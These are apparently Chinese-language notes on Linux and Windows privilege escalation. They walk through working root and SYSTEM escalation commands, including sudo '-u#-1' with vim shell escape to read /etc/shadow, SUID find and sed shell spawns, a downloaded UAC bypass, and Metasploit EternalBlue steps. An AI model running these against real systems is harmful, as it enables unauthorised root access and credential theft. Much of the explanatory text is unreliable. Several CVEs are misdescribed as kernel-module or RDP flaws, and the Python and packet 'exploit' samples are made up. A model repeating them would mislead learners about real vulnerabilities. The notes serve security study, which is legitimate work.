LINUX
内核提权:CVE-2021-3493
atp-cache search linux | grep linux-image
可以运行这条命令来取查看可以安装的当前软件库的内核版本
如果没有的话需要降级
atp-get install linux-headers-4.4.0-21-generic linux-image-4.4.0-21-generic
一个是内核一个是版本号,回车即可安装
查看内核启动顺序
cat /boot/grub/grub.cfg | grep menuentry
修改内核的启动顺序
编辑启动项文件
sudo nano /etc/default/grub
把原来的注释掉,在第二行改
改成 4.15.0-91
更新启动项
sudo update-grub
重启之后呢,uname -r
发现成功
网上下载CVE-2021-3493,可以去github
使用gcc编译
gcc exploit.c -o exploit
ll
运行他
./exploit
id
cat /etc/shadow
VE-2021-3493是Linux内核中的一个漏动,该漏动允许公鸡者通过利用overlayfs文件系统和capabilities机制的结合来提升权限。以下是原理和复现代码示例的讲解:
原理解析:
- OverlayFS:OverlayFS是一种联合挂载的文件系统,它允许将多个目录合并成一个单一的视图。在OverlayFS中,上层目录可以覆盖下层目录的内容。
- Capabilities:Linux内核引入了capabilities机制,用于更细粒度地控制进程的权限。每个进程都有一个capabilities集合,其中包含了一组特定的权限标志。
- User Namespaces:User namespaces允许在一个命名空间内创建独立的用户ID映射,使得一个进程可以在其命名空间内拥有比全局系统中更高的权限。
复现步骤:
- 环境准备:首先需要一台安装了受影响版本的Linux操作系统(例如Ubuntu)的计算机。确保内核版本在受影响范围内。
- 漏动利用代码获取:从互联网上下载已知的漏动利用代码,这些代码通常由安全研究人员或团队公开发布。
- 编译并运行漏动利用代码:在目标系统上编译并运行漏动利用代码。如果成功,公鸡者应该能够获得root权限。
复现代码示例:
以下是一个简化的CVE-2021-3493漏动利用代码示例,仅供参考,实际漏动利用可能需要更多的细节和调整。
import os
# 创建一个新的overlayfs挂载点
os.system("mkdir /tmp/overlay")
os.system("mount -t overlay overlay -o lowerdir=/,upperdir=/tmp/overlay /mnt")
# 创建一个具有CAP_SYS_ADMIN能力的可执行文件
with open("/tmp/overlay/exploit", "w") as f:
f.write("#!/bin/sh\n")
f.write("echo 'root:x:0:0:root:/root:/bin/bash' > /proc/self/task/$(pgrep -f '/tmp/overlay/exploit')/fd/1")
os.system("chmod +x /tmp/overlay/exploit")
# 使用新的capabilities设置运行exploit程序
os.system("setcap cap_sys_admin+ep /tmp/overlay/exploit")
# 运行exploit程序以提升权限
os.system("/tmp/overlay/exploit")
请注意,上述代码仅作为示例,实际漏动利用可能涉及更多复杂的操作和细节。此外,未经授权的公鸡行为是非法的,请勿尝试对任何系统进行此类公鸡。
不安全配置提权:CVE-2019-14287
创建一个test的用户
useradd test
passwd test
sudo nano /tec/sudoers
test可以在任意的用户主机上以任意用户的方式,但是不能是一root用户组的方式来执行vim命令
下一个行可以不添加是下一个实验需要的
登录test
我们直接读取需要root权限来查看的文件,发现是没有权限的
利用漏动来进行复现
sudo -u#-1 vim
进入vim编辑器的命令模式,输入
!cat /etc/shadow
然后发现公鸡成功,读取到了root权限才能读取的shadow文件
退出vim编辑器发现也还是会在终端里展示的
CVE-2019-14287是Linux内核中的一个漏动,该漏动允许公鸡者通过利用某些不安全的配置来提升权限。以下是原理和复现代码示例的讲解:
原理解析:
- 内核模块加载:Linux内核允许用户空间程序动态地加载和卸载内核模块。这些模块可以提供额外的功能或驱动程序。
- 内核模块签名验证:为了防止恶意模块被加载到系统中,Linux内核引入了对内核模块进行签名验证的功能。然而,在某些情况下,这个验证机制可能被绕过。
- 内核模块强制加载:在某些配置下,内核可能会允许未经签名的模块被强制加载到内存中,而无需进行签名验证。这可能导致公鸡者能够加载恶意模块并执行任意代码。
复现步骤:
- 环境准备:首先需要一台安装了受影响版本的Linux操作系统(例如Ubuntu)的计算机。确保内核版本在受影响范围内。
- 漏动利用代码获取:从互联网上下载已知的漏动利用代码,这些代码通常由安全研究人员或团队公开发布。
- 编译并运行漏动利用代码:在目标系统上编译并运行漏动利用代码。如果成功,公鸡者应该能够获得root权限。
复现代码示例:
以下是一个简化的CVE-2019-14287漏动利用代码示例,仅供参考,实际漏动利用可能需要更多的细节和调整。
import os
# 创建一个新的内核模块文件
with open("/tmp/exploit.ko", "w") as f:
f.write("MODULE_LICENSE(\"GPL\");\n")
f.write("MODULE_DESCRIPTION(\"Exploit for CVE-2019-14287\");\n")
f.write("MODULE_AUTHOR(\"Attacker\");\n")
f.write("static int __init exploit_init(void) {\n")
f.write(" // Insert malicious code here\n")
f.write(" return 0;\n")
f.write("}\n")
f.write("static void __exit exploit_exit(void) {\n")
f.write(" // Cleanup if necessary\n")
f.write("}\n")
f.write("module_init(exploit_init);\n")
f.write("module_exit(exploit_exit);\n")
# 强制加载内核模块
os.system("insmod /tmp/exploit.ko")
配置不当提权:sudo 配置不当
修改内核版本
sudo nano /etc/default/grub
把这里改成4.4.0-21-generic
update-grub
sudo reboot
sudo cat /etc/sudoers
这里主要关注这一行配置
su test
输入密码
直接输入
sudo -i #就直接进入到管理员命令模式了
再检查
whoami
输入另一条命令,也可以
sudo taskset 1 /bin/sh -p
id
不配置有多钟方式可以提权
sudo sed -n '1e exec sh 1>&0' /etc/passwd
输入id可以查看
或者以下命令
sudo "xxd/etc/shadow" | XXd -r
或者直接使用vim
vim /etc/shadow
配置不当提权是指公鸡者通过利用sudo命令的配置错误来提升权限。以下是原理和复现代码示例的讲解:
原理解析:
- sudo命令:sudo是Linux系统中用于执行特权操作的命令,它允许普通用户以超级用户(root)的身份执行特定的命令。
- sudoers文件:sudoers文件定义了哪些用户可以执行哪些sudo命令以及相应的权限设置。这个文件通常位于
/etc/sudoers
或/etc/sudoers.d/
目录下。 - 配置错误:如果sudoers文件中的配置不正确,公鸡者可能会找到漏动并利用这些错误来提升权限。例如,错误的配置可能允许非特权用户执行需要特权的命令,或者允许特权用户执行不需要特权的命令。
复现步骤:
- 环境准备:首先需要一台安装了受影响版本的Linux操作系统(例如Ubuntu)的计算机。确保内核版本在受影响范围内。
- 漏动利用代码获取:从互联网上下载已知的漏动利用代码,这些代码通常由安全研究人员或团队公开发布。
- 编译并运行漏动利用代码:在目标系统上编译并运行漏动利用代码。如果成功,公鸡者应该能够获得root权限。
复现代码示例:
以下是一个简化的sudo配置不当漏动利用代码示例,仅供参考,实际漏动利用可能需要更多的细节和调整。
#python
import os
# 创建一个新的sudoers配置文件
with open("/tmp/sudoers", "w") as f:
f.write("Defaults env_keep += \"SUDO_USER\"\n")
f.write("ALL ALL=(ALL) NOPASSWD: ALL\n")
# 将新的sudoers配置文件复制到正确的位置
os.system("cp /tmp/sudoers /etc/sudoers")
# 使用sudo命令执行需要特权的操作
os.system("sudo id")
请注意,上述代码仅作为示例,实际漏动利用可能涉及更多复杂的操作和细节
suid提权
uname -r
find / -perm -u=s -type f 2>/dev/null #查看当前操作系统拥有sid权限的命令
框选中的都是有suid的命令
ls -al /usr/bin/find
这里的s标志很关键
find / -type f -name abc -exec "whoami" \;
使用的abc必须是操作系统中已经存在的文件
将交互式shell编程root
find / -name abc -exec /bin/sh -p \; -quit
SUID提权是一种公鸡技术,用于提升普通用户的权限以执行特权操作。它利用了Linux系统中的SUID(Set User ID)位,使得可执行文件在执行时以文件所有者的身份运行。
应用payload通常是指恶意软件或公鸡脚本,通过利用SUID提权漏动来获取系统管理员权限或执行其他恶意操作。以下是一些常见的SUID提权漏动和应用payload:
- sudo漏动:sudo是一个常用的命令行工具,允许用户以其他用户的身份执行命令。公鸡者可以利用sudo漏动,通过修改sudoers文件或使用其他漏动,以root权限执行任意命令。
- Shellshock漏动:Shellshock是Bash shell的一个漏动,允许公鸡者通过特定的HTTP请求触发shell命令执行。公鸡者可以利用这个漏动,通过Web服务器上的CGI脚本或其他可执行脚本来执行任意命令。
- Apache Tomcat漏动:Apache Tomcat是一个流行的Java Web服务器,存在多个漏动可以被公鸡者利用。例如,Tomcat默认配置下,某些目录可能具有写权限,公鸡者可以通过上传恶意文件并利用SUID提权来执行任意代码。
- PHP漏动:PHP是一种广泛使用的服务器端脚本语言,存在许多漏动可以被公鸡者利用。例如,公鸡者可以利用PHP中的安全漏动,如反序列化漏动或文件包含漏动,结合SUID提权来执行任意命令。
CVE-2020-0787
CVE-2020-0787是一个Windows操作系统的漏动,影响Windows 7、Windows Server 2008 R2、Windows 8.1和Windows Server 2012 R2。该漏动允许公鸡者通过远程桌面协议(RDP)执行任意代码。
漏动原理
BITS 是 Windows 系统中的一个服务,用于在后台传输文件。当 BITS 未能正确处理符号链接时,就会引发 CVE-2020-0787 漏动。公鸡者可以通过创建特制的符号链接,使 BITS 覆盖目标文件,从而提升其权限。
影响范围
该漏动影响以下 Windows 版本:
- Windows 10 版本 1803 及更高版本
- Windows Server 2019
- Windows Server 2016
利用方式:
点击exp
下载exp.zip
在下载到文件里找到这样一个文件exe
BitArbitraryFileMoveExploit.exe
在命令行里运行这个exe
然后就会弹出一个新的命令行窗口
输入whoami,提示是system的管理员
示例:
- 公鸡者需要知道目标系统的IP地址和端口号。
- 公鸡者需要构造一个特殊的RDP数据包,其中包含恶意代吗。
- 公鸡者通过网络发送这个恶意数据包到目标系统。
- 如果目标系统没有安装补丁或者配置不当,恶意代吗将在目标系统上执行。
由于这是一个严重的安全漏动,建议立即更新受影响的软件并采取其他安全措施。以下是一个简单的Python脚本,用于模拟CVE-2020-0787的公鸡:
import socket
import struct
def send_malicious_packet(ip, port):
# 构造恶意数据包
malicious_data = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x02\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc5'
# 创建套接字并连接到目标系统
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
# 发送恶意数据包
s.sendall(malicious_data)
# 关闭套接字
s.close()
if __name__ == "__main__":
# 替换为目标系统的IP地址和端口号
target_ip = "192.168.1.1"
target_port = 3389
send_malicious_packet(target_ip, target_port)
请注意,这个脚本仅用于演示目的,不要在未经授权的系统上使用。在实际公鸡中,公鸡者通常会使用更复杂的方法和工具来避免被检测和防御。
解决方案
微软已经发布了安全更新来修复此漏动。用户可以通过以下方式来保护系统:
- 安装最新更新:确保你的 Windows 系统已安装最新的安全更新。
- 启用自动更新:配置 Windows 自动更新,以确保系统始终处于最新和最安全的状态。
- 限制权限:尽量避免使用管理员账户进行日常操作,以减少潜在的风险。
防护措施
除了安装最新的安全更新外,还可以采取以下措施来进一步保护系统:
- 定期扫描:使用安全软件定期扫描系统,检测和修复潜在的漏动。
- 禁用不必要的服务:禁用不需要的系统服务,减少公鸡面。
- 加强用户培训:教育用户识别和避免潜在的安全威胁,如钓鱼邮件和恶意软件。
通过以上措施,可以有效降低 CVE-2020-0787 漏动带来的风险,确保系统的安全性。
UAC提权
github.cim/jas502n/CVE-2019-1388
可以上这个网址去下载
右键管理员身份运行
点详细信息-常规
点击颁发者,点一次后点击确定
弹出浏览器,复制地址
点击页面-选择另存为
输入
C:\windonws\system32\*.*
输完了按回车就进入了目录
找到cmd程序-选择右键-打开-输入whoami
发现是管理员权限
UAC提权是指在Windows操作系统中,通过提升用户权限来执行某些需要管理员权限的操作。以下是一个简单的UAC提权过程及利用步骤代码:
- 创建一个名为"elevate.bat"的批处理文件,内容如下:
@echo off
:: 检查是否以管理员身份运行
net session >nul 2>&1
if %errorlevel% == 0 (
echo 已经以管理员身份运行
) else (
:: 尝试以管理员身份重新运行此脚本
echo 正在尝试以管理员身份运行...
powershell -Command "Start-Process 'cmd.exe' -Verb RunAs -ArgumentList '/c %~fnx0'"
exit /b
)
:: 在这里添加需要以管理员权限执行的命令
echo 执行需要管理员权限的操作
- 双击运行"elevate.bat"文件,如果当前用户没有管理员权限,将会弹出UAC提示框要求提升权限。点击“是”后,批处理文件将以管理员身份重新运行。
- 在"elevate.bat"文件中添加需要以管理员权限执行的命令,例如:
@echo off
:: 检查是否以管理员身份运行
net session >nul 2>&1
if %errorlevel% == 0 (
echo 已经以管理员身份运行
) else (
:: 尝试以管理员身份重新运行此脚本
echo 正在尝试以管理员身份运行...
powershell -Command "Start-Process 'cmd.exe' -Verb RunAs -ArgumentList '/c %~fnx0'"
exit /b
)
:: 在这里添加需要以管理员权限执行的命令
echo 执行需要管理员权限的操作
pause
- 保存并重新运行"elevate.bat"文件,此时应该可以成功执行需要管理员权限的操作
CVE-2019-1458
CVE-2019-1458是Windows操作系统中的一个漏动,影响Windows 7、Windows Server 2008 R2、Windows 8.1和Windows Server 2012 R2。该漏动允许公鸡者通过远程桌面协议(RDP)执行任意代码。
已经提权将CVE-2019-1458的exp下载好了
打开cmd进入下载目录
cd Dowm loads
.\CVE-2019-1458
whoami
以下是一个简单的利用过程及利用步骤代码:
- 首先,确保目标系统上安装了受影响的Windows版本。
- 下载并安装Metasploit框架。可以从官方网站下载:https://www.metasploit.com/download
- 打开Metasploit控制台,输入以下命令以搜索相关模块:
msfconsole
search cve-2019-1458
- 选择相应的模块,例如
exploit/windows/rdp/cve_2019_1458_bluekeep
,然后输入以下命令来设置目标IP地址和端口:
use exploit/windows/rdp/cve_2019_1458_bluekeep
set RHOSTS <目标IP地址>
set RPORT 3389
- 运行漏动利用模块:
exploit
- 如果成功,你将获得一个Meterpreter会话,可以在此会话中执行各种命令。
注意:这些步骤仅用于学习和研究目的,请勿用于非法活动。
MS17-010
查看win7靶机的ip地址
到kali里打开msf
search ms17_010
"search ms17_010" 是一个搜索指令,意在查找与微软安全公告MS17-010相关的信息。MS17-010是微软在2017年发布的一个安全更新,修复了一个严重的远程执行代码漏动,该漏动影响了Windows操作系统中的SMB(Server Message Block)协议。这个漏动后来被称为"EternalBlue"(永恒之蓝),被黑课利用来进行大规模的网络公鸡,如WannaCry勒所软件的传播。
MS17-010是Windows操作系统中的一个漏动,影响Windows SMBv1协议。公鸡者可以利用这个漏动进行远程代码执行。以下是一个简单的利用过程及利用步骤代码:
- 首先,确保目标系统上安装了受影响的Windows版本。
- 下载并安装Metasploit框架。可以从官方网站下载:https://www.metasploit.com/download
- 打开Metasploit控制台,输入以下命令以搜索相关模块:
msfconsole
search ms17_010
- 选择相应的模块,例如
exploit/windows/smb/ms17_010_eternalblue
,然后输入以下命令来设置目标IP地址和端口:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP地址>
set RPORT 445
- 运行漏动利用模块:
exploit
- 如果成功,你将获得一个Meterpreter会话,可以在此会话中执行各种命令。
注意:这些步骤仅用于学习和研究目的,请勿用于非法活动。